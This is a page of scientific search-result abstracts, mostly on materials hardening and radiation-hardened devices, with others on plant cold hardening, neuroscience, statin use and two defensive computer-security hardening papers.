tensile strength, flexural strength and modulus of elasticity. Incorporation the glass fiber into SCC reduces the workability but within the standard specification. The hardened properties of SCC glass fiber reinforced concrete were enhanced, due to bridging the pre-existing micro cracks in concrete by glass fiber addition. 5. Superconducting (radiation hardened) magnets for mirror fusion devices International Nuclear Information System (INIS) Henning, C.D.; Dalder, E.N.C.; Miller, J.R.; Perkins, J.R. 1983-01-01 Superconducting magnets for mirror fusion have evolved considerably since the Baseball II magnet in 1970. Recently, the Mirror Fusion Test Facility (MFTF-B) yin-yang has been tested to a full field of 7.7 T with radial dimensions representative of a full scale reactor. Now the emphasis has turned to the manufacture of very high field solenoids (choke coils) that are placed between the tandem mirror central cell and the yin-yang anchor-plug set. For MFTF-B the choke coil field reaches 12 T, while in future devices like the MFTF-Upgrade, Fusion Power Demonstration and Mirror Advanced Reactor Study (MARS) reactor the fields are doubled. Besides developing high fields, the magnets must be radiation hardened. Otherwise, thick neutron shields increase the magnet size to an unacceptable weight and cost. Neutron fluences in superconducting magnets must be increased by an order of magnitude or more. Insulators must withstand 10 10 to 10 11 rads, while magnet stability must be retained after the copper has been exposed to fluence above 10 19 neutrons/cm 2 6. Increases in the numerical density of GAT-1 positive puncta in the barrel cortex of adult mice after fear conditioning. Directory of Open Access Journals (Sweden) Ewa Siucinska Full Text Available Three days of fear conditioning that combines tactile stimulation of a row of facial vibrissae (conditioned stimulus, CS with a tail shock (unconditioned stimulus, UCS expands the representation of "trained" vibrissae, which can be demonstrated by labeling with 2-deoxyglucose in layer IV of the barrel cortex. We have also shown that functional reorganization of the primary somatosensory cortex (S1 increases GABAergic markers in the hollows of "trained" barrels of the adult mouse. This study investigated how whisker-shock conditioning (CS+UCS affected the expression of puncta of a high-affinity GABA plasma membrane transporter GAT-1 in the barrel cortex of mice 24 h after associative learning paradigm. We found that whisker-shock conditioning (CS+UCS led to increase expression of neuronal and astroglial GAT-1 puncta in the "trained" row compared to controls: Pseudoconditioned, CS-only, UCS-only and Naïve animals. These findings suggest that fear conditioning specifically induces activation of systems regulating cellular levels of the inhibitory neurotransmitter GABA. 7. Effect of mixing sequence on the curing of amine-hardened epoxy/ alumina nanocomposites as assessed by optical refractometry Directory of Open Access Journals (Sweden) 2008-08-01 Full Text Available High performance refractometry has been proven to be a useful tool to elucidate the isothermal curing process of nanocomposites. As a model system an amine-hardening epoxy filled with non-surface-treated alumina nanoparticles was selected. The tremendous resolution of this experimental technique is used to study morphological changes within nanocomposites via the refractive index. It is shown that these morphological changes are not simply due to the curing process but also depend on the sequence of mixing the nanoparticles either first into the resin or first into the hardener. Independent of the resin/hardener composition, the type of the mixing sequence discriminates systematically between two distinct refractive index curves produced by the curing process. The difference between the two refractive index curves increases monotonically with curing time, which underlines the importance of the initial molecular environment of the nanoparticles. 8. Embrittlement of irradiated ferritic/martensitic steels in the absence of irradiation hardening Energy Technology Data Exchange (ETDEWEB) Klueh, R.L. [Oak Ridge Noational Laboratory, TN (United States); Shiba, K. [Japan Atomic Energy Agency, Tokai-mura, Naga-gun, Ibaraki-ken (Japan); Sokolov, M. [Oak Ridge National Laboratory, Materials Science and Technology Div., TN (United States) 2007-07-01 9. Increasing incidence of statin treatmentamong the elderly and those withoutprevious cardiovascular conditions. A nationwide register study DEFF Research Database (Denmark) Kildemoes, Helle Wallach; Andersen, Morten Background: Supported by the growing evidence of the beneficial effects of statins in a range of conditions, statin utilization has increased considerably in most Western countries over the last decade. Objectives: To estimate to what extent a widening of indication scope for statins accounts...... with discharge diagnoses and surgical procedures performed during 1977-2005. The disease status for all cohort members was assigned by means of disease markers for seven cardiovascular conditions, corresponding to a hierarchy of broad indications for statin therapy. Using the indication hierarchy, we computed... 10. Improvement of wear resistance of machine elements by plasma spraying followed by hardening in the chlorine-barium melt International Nuclear Information System (INIS) Fominykh, V.V.; Stepanov, V.V. 1979-01-01 Proposed is the mathematical model, allowing to choose the optimal regime of sprayed coating hardening in the BaCl 2 salt melt. The method of hardening of machine elements by spraying wear resistance coatings of the Ni-Cr-B-Si alloys is described. It is established that diffusion heating followed by coating melting in the BaCl 2 solution increases the adhesion of sprayed layer to substrate metal. The formation of intermediate intermetallic compounds of the Ni 3 Si and Ni 3 Fe types takes place as a result of diffusion of interacting material atoms and valence electron joining 11. On complex periodic motions and bifurcations in a periodically forced, damped, hardening Duffing oscillator International Nuclear Information System (INIS) Guo, Yu; Luo, Albert C.J. 2015-01-01 In this paper, analytically predicted are complex periodic motions in the periodically forced, damped, hardening Duffing oscillator through discrete implicit maps of the corresponding differential equations. Bifurcation trees of periodic motions to chaos in such a hardening Duffing oscillator are obtained. The stability and bifurcation analysis of periodic motion in the bifurcation trees is carried out by eigenvalue analysis. The solutions of all discrete nodes of periodic motions are computed by the mapping structures of discrete implicit mapping. The frequency-amplitude characteristics of periodic motions are computed that are based on the discrete Fourier series. Thus, the bifurcation trees of periodic motions are also presented through frequency-amplitude curves. Finally, based on the analytical predictions, the initial conditions of periodic motions are selected, and numerical simulations of periodic motions are carried out for comparison of numerical and analytical predictions. The harmonic amplitude spectrums are also given for the approximate analytical expressions of periodic motions, which can also be used for comparison with experimental measurement. This study will give a better understanding of complex periodic motions in the hardening Duffing oscillator. 12. Non-destructive screening method for radiation hardened performance of large scale integration International Nuclear Information System (INIS) Zhou Dong; Xi Shanbin; Guo Qi; Ren Diyuan; Li Yudong; Sun Jing; Wen Lin 2013-01-01 The space radiation environment could induce radiation damage on the electronic devices. As the performance of commercial devices is generally superior to that of radiation hardened devices, it is necessary to screen out the devices with good radiation hardened performance from the commercial devices and applying these devices to space systems could improve the reliability of the systems. Combining the mathematical regression analysis with the different physical stressing experiments, we investigated the non-destructive screening method for radiation hardened performance of the integrated circuit. The relationship between the change of typical parameters and the radiation performance of the circuit was discussed. The irradiation-sensitive parameters were confirmed. The pluralistic linear regression equation toward the prediction of the radiation performance was established. Finally, the regression equations under stress conditions were verified by practical irradiation. The results show that the reliability and accuracy of the non-destructive screening method can be elevated by combining the mathematical regression analysis with the practical stressing experiment. (authors) 13. Precipitation hardening in a 12%Cr-9%Ni-4%Mo-2%Cu stainless steel International Nuclear Information System (INIS) Haettestrand, Mats; Nilsson, Jan-Olof; Stiller, Krystyna; Liu Ping; Andersson, Marcus 2004-01-01 A combination of complementary techniques including one-dimensional and three-dimensional atom probe, energy-filtered transmission electron microscopy and conventional transmission electron microscopy has been used to assess the precipitation reactions at 475 deg. C in a 12%Cr-9%Ni-4%Mo-2%Cu precipitation hardening stainless steel. The continuous hardening up to at least 1000 h of ageing was attributed to a sequence of precipitation reactions involving nickel-rich precipitates nucleating at copper clusters followed by molybdenum-rich quasicrystalline precipitates and nickel-rich precipitates of type L1 0 . An estimate of the relative contributions to the strength increment during tempering based on measurements of particle densities was performed. Nickel-rich precipitates were found to play the most important role up to about 40 h of ageing after which the effect of quasicrystalline particles became increasingly important 14. Tribological effects of yttrium and nitrogen ion implantation on a precipitation hardening stainless steel International Nuclear Information System (INIS) Alonso, F.; Arizaga, A.; Garcia, A.; Onate, J.I. 1994-01-01 Yttrium, nitrogen and combined yttrium and nitrogen implantations have been carried out on an ASTM A286 precipitation hardening iron base alloy to evaluate the benefits in their tribological behaviour. Microindentation tests have shown a significant 20%-60% increment in hardness on the nitrogen implanted material, with a limited improvement in elastic recovery of the indentation. An abrasive test on the same material has also produced a 50% reduction in scratch depth. Y + and Y + +N + implantations also hardened the material but to a lesser extent. Reciprocating ball on disk friction and wear testing at 400 C resulted in very severe damage in all cases. X-ray photoelectron spectroscopy analyses combined with Ar sputtering have disclosed that nitrogen is mainly in a nitrided form, yttrium remains oxidized at the surface, below which there is an apparent increase in the metallic bond. ((orig.)) 15. Work-hardening of dual-phase steel Energy Technology Data Exchange (ETDEWEB) Rieger, Florian 2016-07-01 Exhibiting good mechanical properties for cold-sheet forming, low-alloyed dual-phase (DP) steels are nowadays widely used for automotive applications. The composite-like microstructure of DP steels is composed of a low-carbon ductile ferrite-matrix and 10 - 60 vol.% hard martensitic inclusions. A nonlinear mean-field model and full-field finite-element simulations are applied to investigate three major topics: the influence of grain-size distribution, grain-level plasticity and derivation of an original material-model. The plastic behavior of polycrystals is assumed to be grain-size dependent in this work. The distribution of grain-sizes is taken to be lognormal. It is found that grain-size dispersion leads to a decrease of the material strength, in particular for small mean diameters around one micron. The numerical results from the mean-field model are confirmed notably well by means of a simple analytical expression. The micromechanical behavior of DP steels is investigated by full-field RVE simulations with a crystal-plasticity based ferrite-matrix and von Mises-type martensite inclusions. To examine the martensite influence, full-field simulation results of DP steels have been compared to an RVE in which martensite is substituted by ferrite. After quenching, a higher grain-boundary area covered by martensite facilitates an increased average dislocation-density. For uniaxial deformations above ∝10%, however, the grain-size dependent relation reverses. With more surrounding martensite, the local crystal-plasticity material-model exhibits hardening at a slower rate. A nonlinear mean-field model of Hashin-Shtrikman type is employed as framework for the original material-model for DP steels. The model incorporates the interaction of ferrite and martensite via incompatibility-induced long-range stresses in an averaged sense. The proposed model combines works of Ashby (1970) and Brown and Stobbs (1971a) to simulate the ferrite behavior. Based on the composite model 16. NINJA: a noninvasive framework for internal computer security hardening Science.gov (United States) Allen, Thomas G.; Thomson, Steve 2004-07-01 Vulnerabilities are a growing problem in both the commercial and government sector. The latest vulnerability information compiled by CERT/CC, for the year ending Dec. 31, 2002 reported 4129 vulnerabilities representing a 100% increase over the 2001 [1] (the 2003 report has not been published at the time of this writing). It doesn"t take long to realize that the growth rate of vulnerabilities greatly exceeds the rate at which the vulnerabilities can be fixed. It also doesn"t take long to realize that our nation"s networks are growing less secure at an accelerating rate. As organizations become aware of vulnerabilities they may initiate efforts to resolve them, but quickly realize that the size of the remediation project is greater than their current resources can handle. In addition, many IT tools that suggest solutions to the problems in reality only address "some" of the vulnerabilities leaving the organization unsecured and back to square one in searching for solutions. This paper proposes an auditing framework called NINJA (acronym for Network Investigation Notification Joint Architecture) for noninvasive daily scanning/auditing based on common security vulnerabilities that repeatedly occur in a network environment. This framework is used for performing regular audits in order to harden an organizations security infrastructure. The framework is based on the results obtained by the Network Security Assessment Team (NSAT) which emulates adversarial computer network operations for US Air Force organizations. Auditing is the most time consuming factor involved in securing an organization's network infrastructure. The framework discussed in this paper uses existing scripting technologies to maintain a security hardened system at a defined level of performance as specified by the computer security audit team. Mobile agents which were under development at the time of this writing are used at a minimum to improve the noninvasiveness of our scans. In general, noninvasive 17. Simulation of the Press Hardening Process and Prediction of the Final Mechanical Material Properties Science.gov (United States) Hochholdinger, Bernd; Hora, Pavel; Grass, Hannes; Lipp, Arnulf 2011-08-01 Press hardening is a well-established production process in the automotive industry today. The actual trend of this process technology points towards the manufacturing of parts with tailored properties. Since the knowledge of the mechanical properties of a structural part after forming and quenching is essential for the evaluation of for example the crash performance, an accurate as possible virtual assessment of the production process is more than ever necessary. In order to achieve this, the definition of reliable input parameters and boundary conditions for the thermo-mechanically coupled simulation of the process steps is required. One of the most important input parameters, especially regarding the final properties of the quenched material, is the contact heat transfer coefficient (IHTC). The CHTC depends on the effective pressure or the gap distance between part and tool. The CHTC at different contact pressures and gap distances is determined through inverse parameter identification. Furthermore a simulation strategy for the subsequent steps of the press hardening process as well as adequate modeling approaches for part and tools are discussed. For the prediction of the yield curves of the material after press hardening a phenomenological model is presented. This model requires the knowledge of the microstructure within the part. By post processing the nodal temperature history with a CCT diagram the quantitative distribution of the phase fractions martensite, bainite, ferrite and pearlite after press hardening is determined. The model itself is based on a Hockett-Sherby approach with the Hockett-Sherby parameters being defined in function of the phase fractions and a characteristic cooling rate. 18. Sensitivity of polycrystal plasticity to slip system kinematic hardening laws for Al 7075-T6 International Nuclear Information System (INIS) Hennessey, Conor; Castelluccio, Gustavo M.; McDowell, David L. 2017-01-01 The prediction of formation and early growth of microstructurally small fatigue cracks requires use of constitutive models that accurately estimate local states of stress, strain, and cyclic plastic strain. However, few research efforts have attempted to systematically consider the sensitivity of overall cyclic stress-strain hysteresis and higher order mean stress relaxation and plastic strain ratcheting responses introduced by the slip system back-stress formulation in crystal plasticity, even for face centered cubic (FCC) crystal systems. This paper explores the performance of two slip system level kinematic hardening models using a finite element crystal plasticity implementation as a User Material Subroutine (UMAT) within ABAQUS, with fully implicit numerical integration. The two kinematic hardening formulations aim to reproduce the cyclic deformation of polycrystalline Al 7075-T6 in terms of both macroscopic cyclic stress-strain hysteresis loop shape, as well as ratcheting and mean stress relaxation under strain- or stress-controlled loading with mean strain or stress, respectively. The first formulation is an Armstrong-Frederick type hardening-dynamic recovery law for evolution of the back stress. This approach is capable of reproducing observed deformation under completely reversed uniaxial loading conditions, but overpredicts the rate of cyclic ratcheting and associated mean stress relaxation. The second formulation corresponds to a multiple back stress Ohno-Wang type hardening law with nonlinear dynamic recovery. The adoption of this back stress evolution law greatly improves the capability to model experimental results for polycrystalline specimens subjected to cycling with mean stress or strain. As a result, the relation of such nonlinear dynamic recovery effects are related to slip system interactions with dislocation substructures. 19. Work hardening characteristics of gamma-ray irradiated Al-5356 alloy International Nuclear Information System (INIS) Saad, G.; Fayek, S.A.; Fawzy, A.; Soliman, H.N.; Nassr, E. 2014-01-01 Effects of γ-irradiation and deformation temperatures on the hardening behavior of Al-5356 alloy have been investigated by means of stress–strain measurements. Wire samples irradiated with different doses (ranging from 500 to 2000 kGy) were strained at different deformation temperatures T w (ranging from 303 to 523 K) and a constant strain rate of 1.5×10 −3 s −1 . The effect of γ-irradiation on the work-hardening parameters (WHP): yield stress σ y , fracture stress σ f , total strain ε T and work-hardening coefficient χ p of the given alloy was studied at the applied deformation temperature range. The obtained results showed that γ-irradiation exhibited an increase in the WHP of the given alloy while the increase in its deformation temperature showed a reverse effect. The mean activation energy of the deformation process was calculated using an Arrhenius-type relation, and was found to be ∼80 kJ/mole, which is close to that of grain boundary diffusion in aluminum alloys 20. Hardening by ion implantation of VT1-0 alloy having different grain size Energy Technology Data Exchange (ETDEWEB) Nikonenko, Alisa, E-mail: [email protected]; Kurzina, Irina, E-mail: [email protected] [National Research Tomsk State University, 36, Lenin Str., 634050, Tomsk (Russian Federation); Popova, Natalya, E-mail: [email protected] [Tomsk State University of Architecture and Building, 2, Solyanaya Sq., 634003, Tomsk (Russian Federation); Institute of Strength Physics and Materials Science, SB RAS, 2/4, Akademicheskii Ave., 634021, Tomsk Russia (Russian Federation); Nikonenko, Elena, E-mail: [email protected] [Tomsk State University of Architecture and Building, 2, Solyanaya Sq., 634003, Tomsk (Russian Federation); National Research Tomsk Polytechnic University, 30, Lenin Str., 634050, Tomsk (Russian Federation); Kalashnikov, Mark, E-mail: [email protected] [Institute of Strength Physics and Materials Science, SB RAS, 2/4, Akademicheskii Ave., 634021, Tomsk Russia (Russian Federation) 2016-01-15 The paper presents a transmission electron microscopy (TEM) study of the structural and phase state of commercially pure titanium implanted by aluminum ions. TEM study has been carried out for two types of grains, namely coarse (0.4 µm) and small (0.5 µm). This paper presents details of the yield stress calculations and the analysis of strength components for the both grain types in two areas of the modified layer: at a distance of 0-150 nm (surface area I) and ∼300 nm (central area II) from the irradiated surface. It is shown that the ion implantation results in a considerable hardening of the entire thickness of the implanted layer in the both grain types. The grain size has, however, a different effect on the yield stress in areas I and II. Thus, near the ion-alloyed layer, the yield stress decreases with the increase of the grain size, whilst area II demonstrates its increase. Moreover, the contribution to the general hardening of the alloy made by certain hardening mechanisms differs from contributions made by each of these mechanisms in each certain case. 1. Combinative hardening effects of precipitation in a commercial aged Al–Cu–Li–X alloy Energy Technology Data Exchange (ETDEWEB) Chen, Zhongwei, E-mail: [email protected]; Zhao, Kai; Fan, Li 2013-12-20 The combinative effects of precipitates on microstructure and hardness of an Al–Cu–Li–X alloy (X=Mg, Zn, Mn, Zr) in artificial ageing of 165 °C were investigated by a transmission electron microscopy and hardness test. Results show that the hardness appears at regression in early ageing stage and increases rapidly during subsequent ageing of 16 h. Hardening effects of as-quenched sample are mainly attributed to β′ (Al{sub 3}Zr) dispersoids, quenched-in vacancies and dislocations. Though most of the fine and uniform precipitates θ′ (Al{sub 2}Cu), δ′ (Al{sub 3}Li), σ (Al{sub 5}Cu{sub 6}Mg{sub 2}) and GP zone came into being in ageing of 0.5 h, annihilation of quenched-in vacancies and reduction of dislocation were ascribed to the hardening regression at early stages of ageing. As further ageing is in progress, all precipitates including T{sub 1} (Al{sub 2}CuLi), σ, δ′ and θ′ have appeared during the ageing of 16 h that follows, and their combinative hardening effects are responsible for the rapid hardness increase at peak-ageing. 2. Elevated Temperature and CO2 Stimulate Late-Season Photosynthesis But Impair Cold Hardening in Pine. Science.gov (United States) Chang, Christine Y; Fréchette, Emmanuelle; Unda, Faride; Mansfield, Shawn D; Ensminger, Ingo 2016-10-01 Rising global temperature and CO 2 levels may sustain late-season net photosynthesis of evergreen conifers but could also impair the development of cold hardiness. Our study investigated how elevated temperature, and the combination of elevated temperature with elevated CO 2 , affected photosynthetic rates, leaf carbohydrates, freezing tolerance, and proteins involved in photosynthesis and cold hardening in Eastern white pine (Pinus strobus). We designed an experiment where control seedlings were acclimated to long photoperiod (day/night 14/10 h), warm temperature (22°C/15°C), and either ambient (400 μL L -1 ) or elevated (800 μmol mol -1 ) CO 2 , and then shifted seedlings to growth conditions with short photoperiod (8/16 h) and low temperature/ambient CO 2 (LTAC), elevated temperature/ambient CO 2 (ETAC), or elevated temperature/elevated CO 2 (ETEC). Exposure to LTAC induced down-regulation of photosynthesis, development of sustained nonphotochemical quenching, accumulation of soluble carbohydrates, expression of a 16-kD dehydrin absent under long photoperiod, and increased freezing tolerance. In ETAC seedlings, photosynthesis was not down-regulated, while accumulation of soluble carbohydrates, dehydrin expression, and freezing tolerance were impaired. ETEC seedlings revealed increased photosynthesis and improved water use efficiency but impaired dehydrin expression and freezing tolerance similar to ETAC seedlings. Sixteen-kilodalton dehydrin expression strongly correlated with increases in freezing tolerance, suggesting its involvement in the development of cold hardiness in P. strobus Our findings suggest that exposure to elevated temperature and CO 2 during autumn can delay down-regulation of photosynthesis and stimulate late-season net photosynthesis in P. strobus seedlings. However, this comes at the cost of impaired freezing tolerance. Elevated temperature and CO 2 also impaired freezing tolerance. However, unless the frequency and timing of extreme low 3. Health risk air-conditioning system; Insufficient maintenance increases the risk of illness. Gesundheitsrisiko Klimaanlagen; Unzureichende Wartung erhoeht das Erkrankungsrisiko Energy Technology Data Exchange (ETDEWEB) Anon. 1994-01-01 In Germany every fifth employee who works in air-conditioned rooms complains about headache, an increased proneness to colds and influenza infections as well as allergic reactions. These troubles are often caused by the insufficient maintenance of air-conditioning systems. At present only 15% of the estimated annual demand for maintenance of space hvac-systems is actually carried out. Problematic in case of air-conditioning systems are the so-called air washers used for air humidification which can become an ideal cultur medium for microorganisms. A second problematic area are the often very dirty filters. But health risks can be avoided with regular expert maintenance alone. As first step an analysis of the causes of faults is proposed. (BWI) 4. Transgenic alfalfa (Medicago sativa) with increased sucrose phosphate synthase activity shows enhanced growth when grown under N2-fixing conditions. Science.gov (United States) Gebril, Sayed; Seger, Mark; Villanueva, Fabiola Muro; Ortega, Jose Luis; Bagga, Suman; Sengupta-Gopalan, Champa 2015-10-01 Overexpression of SPS in alfalfa is accompanied by early flowering, increased plant growth and an increase in elemental N and protein content when grown under N2-fixing conditions. Sucrose phosphate synthase (SPS; EC 2.3.1.14) is the key enzyme in the synthesis of sucrose in plants. The outcome of overexpression of SPS in different plants using transgenic approaches has been quite varied, but the general consensus is that increased SPS activity is associated with the production of new sinks and increased sink strength. In legumes, the root nodule is a strong C sink and in this study our objective was to see how increasing SPS activity in a legume would affect nodule number and function. Here we have transformed alfalfa (Medicago sativa, cv. Regen SY), with a maize SPS gene driven by the constitutive CaMV35S promoter. Our results showed that overexpression of SPS in alfalfa, is accompanied by an increase in nodule number and mass and an overall increase in nitrogenase activity at the whole plant level. The nodules exhibited an increase in the level of key enzymes contributing to N assimilation including glutamine synthetase and asparagine synthetase. Moreover, the stems of the transformants showed higher level of the transport amino acids, Asx, indicating increased export of N from the nodules. The transformants exhibited a dramatic increase in growth both of the shoots and roots, and earlier flowering time, leading to increased yields. Moreover, the transformants showed an increase in elemental N and protein content. The overall conclusion is that increased SPS activity improves the N status and plant performance, suggesting that the availability of more C in the form of sucrose enhances N acquisition and assimilation in the nodules. International Nuclear Information System (INIS) Han Xiaowei; Wu Lihua; Zhao Yan; Li Yan; Zhang Qianli; Chen Liang; Zhang Guoquan; Li Jianzhong; Yang Bo; Gao Jiantou; Wang Jian; Li Ming; Liu Guizhai; Zhang Feng; Guo Xufeng; Chen, Stanley L.; Liu Zhongli; Yu Fang; Zhao Kai 2011-01-01 A radiation-hardened SRAM-based field programmable gate array VS1000 is designed and fabricated with a 0.5 μm partial-depletion silicon-on-insulator logic process at the CETC 58th Institute. The new logic cell (LC), with a multi-mode based on 3-input look-up-table (LUT), increases logic density about 12% compared to a traditional 4-input LUT The logic block (LB), consisting of 2 LCs, can be used in two functional modes: LUT mode and distributed read access memory mode. The hierarchical routing channel block and switch block can significantly improve the flexibility and routability of the routing resource. The VS1000 uses a CQFP208 package and contains 392 reconfigurable LCs, 112 reconfigurable user I/Os and IEEE 1149.1 compatible with boundary-scan logic for testing and programming. The function test results indicate that the hardware and software cooperate successfully and the VS1000 works correctly. Moreover, the radiation test results indicate that the VS1000 chip has total dose tolerance of 100 krad(Si), a dose rate survivability of 1.5 x 10 11 rad(Si)/s and a neutron fluence immunity of 1 x 10 14 n/cm 2 . (semiconductor integrated circuits) 6. Precipitation hardened nickel-base alloys for sour gas environments International Nuclear Information System (INIS) Igarashi, M.; Mukai, S.; Kudo, T.; Okada, Y.; Ikeda, A. 1987-01-01 SCC (Stress Corrosion Cracking) in sour gas environments of γ'(gamma prime: Ni/sub 3/(Ti and/or Al)) and γ''(gamma double prime: Ni/sub 3/Nb) precipitation hardened nickel-base alloys has been studied using the SSRT (Slow Strain Rate Tensile) test, anodic polarization measurement and transmission electron microscopy (TEM). The γ'-type alloy containing Ti was more susceptible to SCC in the SSRT tests up to 350 0 F(450 K) than the γ''-type alloy containing Nb. The susceptibility to SCC was related to their deformation structures in terms of stress localization and sensitivity to pitting corrosion in H/sub 2/S solutions. TEM observation showed the γ'-type alloy deformed by the superlattice dislocations in coplanar structures. This mode of deformation induced the stress localization to some boundaries such as grain boundary and as a result the susceptibility to SCC of the γ'-type alloy was increased. On the other hand, the γ''-type alloy deformed by the massive dislocation not in coplanar structures so that it was less susceptible to SCC in terms of the stress localization. The anodic polarization measurement suggested the γ'-type alloy was more susceptible to pitting corrosion compared with the γ''-type alloy 7. Designing Security-Hardened Microkernels For Field Devices Science.gov (United States) Hieb, Jeffrey; Graham, James Distributed control systems (DCSs) play an essential role in the operation of critical infrastructures. Perimeter field devices are important DCS components that measure physical process parameters and perform control actions. Modern field devices are vulnerable to cyber attacks due to their increased adoption of commodity technologies and that fact that control networks are no longer isolated. This paper describes an approach for creating security-hardened field devices using operating system microkernels that isolate vital field device operations from untrusted network-accessible applications. The approach, which is influenced by the MILS and Nizza architectures, is implemented in a prototype field device. Whereas, previous microkernel-based implementations have been plagued by poor inter-process communication (IPC) performance, the prototype exhibits an average IPC overhead for protected device calls of 64.59 μs. The overall performance of field devices is influenced by several factors; nevertheless, the observed IPC overhead is low enough to encourage the continued development of the prototype. 8. Radiation hardened high efficiency silicon space solar cell International Nuclear Information System (INIS) Garboushian, V.; Yoon, S.; Turner, J. 1993-01-01 A silicon solar cell with AMO 19% Beginning of Life (BOL) efficiency is reported. The cell has demonstrated equal or better radiation resistance when compared to conventional silicon space solar cells. Conventional silicon space solar cell performance is generally ∼ 14% at BOL. The Radiation Hardened High Efficiency Silicon (RHHES) cell is thinned for high specific power (watts/kilogram). The RHHES space cell provides compatibility with automatic surface mounting technology. The cells can be easily combined to provide desired power levels and voltages. The RHHES space cell is more resistant to mechanical damage due to micrometeorites. Micro-meteorites which impinge upon conventional cells can crack the cell which, in turn, may cause string failure. The RHHES, operating in the same environment, can continue to function with a similar crack. The RHHES cell allows for very efficient thermal management which is essential for space cells generating higher specific power levels. The cell eliminates the need for electrical insulation layers which would otherwise increase the thermal resistance for conventional space panels. The RHHES cell can be applied to a space concentrator panel system without abandoning any of the attributes discussed. The power handling capability of the RHHES cell is approximately five times more than conventional space concentrator solar cells 9. Response of Xylella fastidiosa to zinc: decreased culturability, increased exopolysaccharide production, and formation of resilient biofilms under flow conditions. Science.gov (United States) Navarrete, Fernando; De La Fuente, Leonardo 2014-02-01 The bacterial plant pathogen Xylella fastidiosa produces biofilm that accumulates in the host xylem vessels, affecting disease development in various crops and bacterial acquisition by insect vectors. Biofilms are sensitive to the chemical composition of the environment, and mineral elements being transported in the xylem are of special interest for this pathosystem. Here, X. fastidiosa liquid cultures were supplemented with zinc and compared with nonamended cultures to determine the effects of Zn on growth, biofilm, and exopolysaccharide (EPS) production under batch and flow culture conditions. The results show that Zn reduces growth and biofilm production under both conditions. However, in microfluidic chambers under liquid flow and with constant bacterial supplementation (closer to conditions inside the host), a dramatic increase in biofilm aggregates was seen in the Zn-amended medium. Biofilms formed under these conditions were strongly attached to surfaces and were not removed by medium flow. This phenomenon was correlated with increased EPS production in stationary-phase cells grown under high Zn concentrations. Zn did not cause greater adhesion to surfaces by individual cells. Additionally, viability analyses suggest that X. fastidiosa may be able to enter the viable but nonculturable state in vitro, and Zn can hasten the onset of this state. Together, these findings suggest that Zn can act as a stress factor with pleiotropic effects on X. fastidiosa and indicate that, although Zn could be used as a bactericide treatment, it could trigger the undesired effect of stronger biofilm formation upon reinoculation events. 10. Conditional Deletion of PDK1 in the Forebrain Causes Neuron Loss and Increased Apoptosis during Cortical Development Directory of Open Access Journals (Sweden) Congyu Xu 2017-10-01 Full Text Available Decreased expression but increased activity of PDK1 has been observed in neurodegenerative disease. To study in vivo function of PDK1 in neuron survival during cortical development, we generate forebrain-specific PDK1 conditional knockout (cKO mice. We demonstrate that PDK1 cKO mice display striking neuron loss and increased apoptosis. We report that PDK1 cKO mice exhibit deficits on several behavioral tasks. Moreover, PDK1 cKO mice show decreased activities for Akt and mTOR. These results highlight an essential role of endogenous PDK1 in the maintenance of neuronal survival during cortical development. 11. Computer modelling of age hardening for cast aluminium alloys International Nuclear Information System (INIS) Wu, Linda; Ferguson, W George 2009-01-01 Age hardening, or precipitation hardening, is one of the most widely adopted techniques for strengthening of aluminium alloys. Although various age hardening models have been developed for aluminium alloys, from the large volume of literature reviewed, it appears that the bulk of the research has been concentrated on wrought aluminium alloys, only a few of the established precipitation models have been applied to the casting aluminium alloys. In the present work, there are two modelling methods that have been developed and applied to the casting aluminium alloys A356 and A357. One is based on the Shercliff-Ashby methodology to produce a process model, by which we mean a mathematical relationship between process variables (alloy composition, ageing temperature and time) and material properties (yield strength or hardness) through microstructure evolution (precipitate radius, volume fraction). The other method is based on the Kampmann and Wagner Numerical (KWN) model which deals with concomitant nucleation, growth and coarsening and is thus capable of predicting the full evolution of the particle size distribution and then a strength model is used to evaluate the resulting change in hardness or yield strength at room temperature by taking into account contributions from lattice resistance, solid solution hardening and precipitation hardening. 12. Comprehensive assessment of geographic variation in heat tolerance and hardening capacity in populations of Drosophila melanogaster from eastern Australia DEFF Research Database (Denmark) Sgro, Carla M.; Overgaard, Johannes; Kristensen, Torsten Nygård 2010-01-01 We examined latitudinal variation in adult and larval heat tolerance in Drosophila melanogaster from eastern Australia. Adults were assessed using static and ramping assays. Basal and hardened static heat knockdown time showed significant linear clines; heat tolerance increased towards the tropics... 13. Increased Cortical Gamma-Aminobutyric Acid Precedes Incomplete Extinction of Conditioned Fear and Increased Hippocampal Excitatory Tone in a Mouse Model of Mild Traumatic Brain Injury. Science.gov (United States) Schneider, Brandy L; Ghoddoussi, Farhad; Charlton, Jennifer L; Kohler, Robert J; Galloway, Matthew P; Perrine, Shane A; Conti, Alana C 2016-09-01 Mild traumatic brain injury (mTBI) contributes to development of affective disorders, including post-traumatic stress disorder (PTSD). Psychiatric symptoms typically emerge in a tardive fashion post-TBI, with negative effects on recovery. Patients with PTSD, as well as rodent models of PTSD, demonstrate structural and functional changes in brain regions mediating fear learning, including prefrontal cortex (PFC), amygdala (AMYG), and hippocampus (HC). These changes may reflect loss of top-down control by which PFC normally exhibits inhibitory influence over AMYG reactivity to fearful stimuli, with HC contribution. Considering the susceptibility of these regions to injury, we examined fear conditioning (FC) in the delayed post-injury period, using a mouse model of mTBI. Mice with mTBI displayed enhanced acquisition and delayed extinction of FC. Using proton magnetic resonance spectroscopy ex vivo, we examined PFC, AMYG, and HC levels of gamma-aminobutyric acid (GABA) and glutamate as surrogate measures of inhibitory and excitatory neurotransmission, respectively. Eight days post-injury, GABA was increased in PFC, with no significant changes in AMYG. In animals receiving FC and mTBI, glutamate trended toward an increase and the GABA/glutamate ratio decreased in ventral HC at 25 days post-injury, whereas GABA decreased and GABA/glutamate decreased in dorsal HC. These neurochemical changes are consistent with early TBI-induced PFC hypoactivation facilitating the fear learning circuit and exacerbating behavioral fear responses. The latent emergence of overall increased excitatory tone in the HC, despite distinct plasticity in dorsal and ventral HC fields, may be associated with disordered memory function, manifested as incomplete extinction and enhanced FC recall. 14. Surface hardening of 30CrMnSiA steel using continuous electron beam Science.gov (United States) Fu, Yulei; Hu, Jing; Shen, Xianfeng; Wang, Yingying; Zhao, Wansheng 2017-11-01 30CrMnSiA high strength low alloy (HSLA) carbon structural steel is typically applied in equipment manufacturing and aerospace industries. In this work, the effects of continuous electron beam treatment on the surface hardening and microstructure modifications of 30CrMnSiA are investigated experimentally via a multi-purpose electron beam machine Pro-beam system. Micro hardness value in the electron beam treated area shows a double to triple increase, from 208 HV0.2 on the base metal to 520 HV0.2 on the irradiated area, while the surface roughness is relatively unchanged. Surface hardening parameters and mechanisms are clarified by investigation of the microstructural modification and the phase transformation both pre and post irradiation. The base metal is composed of ferrite 